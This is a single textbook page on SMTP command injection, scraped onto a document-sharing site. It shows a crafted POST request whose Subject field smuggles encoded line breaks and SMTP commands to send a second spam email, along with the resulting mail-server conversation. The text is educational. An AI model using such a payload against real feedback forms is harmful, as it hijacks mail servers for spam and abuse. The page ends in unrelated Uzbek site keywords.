The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws


Chapter 9  ■ Injecting Code



Download 5,76 Mb.
Pdf ko'rish
bet567/875
Sana01.01.2022
Hajmi5,76 Mb.
#293004
1   ...   563   564   565   566   567   568   569   570   ...   875
Bog'liq
3794 1008 4334

Chapter 9 



Injecting Code

323

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 323




N OT E

After the SMTP client issues the 

DATA


command, it sends the contents

of the email message, comprising the message headers and body, and then

sends a single dot character on its own line. This tells the server that the

message is complete, and the client can then issue further SMTP commands, to

send further messages.

In this situation, you may be able to inject arbitrary SMTP commands into

any of the email fields that you control. For example, you can attempt to inject

into the Subject field as follows:

POST feedback.php HTTP/1.1

Host: wahh-app.com

Content-Length: 266

From=daf@wahh-mail.com&Subject=Site+feedback%0d%0afoo%0d%0a%2e%0d

%0aMAIL+FROM:+mail@wahh-viagra.com%0d%0aRCPT+TO:+john@wahh-mail

.com%0d%0aDATA%0d%0aFrom:+mail@wahh-viagra.com%0d%0aTo:+john@wahh-mail

.com%0d%0aSubject:+Cheap+V1AGR4%0d%0aBlah%0d%0a%2e%0d%0a&Message=foo

If the application is vulnerable, then this will result in the following SMTP

conversation, which generates two different email messages, with the second

being entirely within your control:

MAIL FROM: daf@wahh-mail.com

RCPT TO: feedback@wahh-app.com

DATA 

From: daf@wahh-mail.com



To: feedback@wahh-app.com

Subject: Site+feedback

foo

.

MAIL FROM: mail@wahh-viagra.com

RCPT TO: john@wahh-mail.com

DATA


From: mail@wahh-viagra.com

To: john@wahh-mail.com

Subject: Cheap V1AGR4

Blah


.

foo


.


Download 5,76 Mb.

Do'stlaringiz bilan baham:
1   ...   563   564   565   566   567   568   569   570   ...   875




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish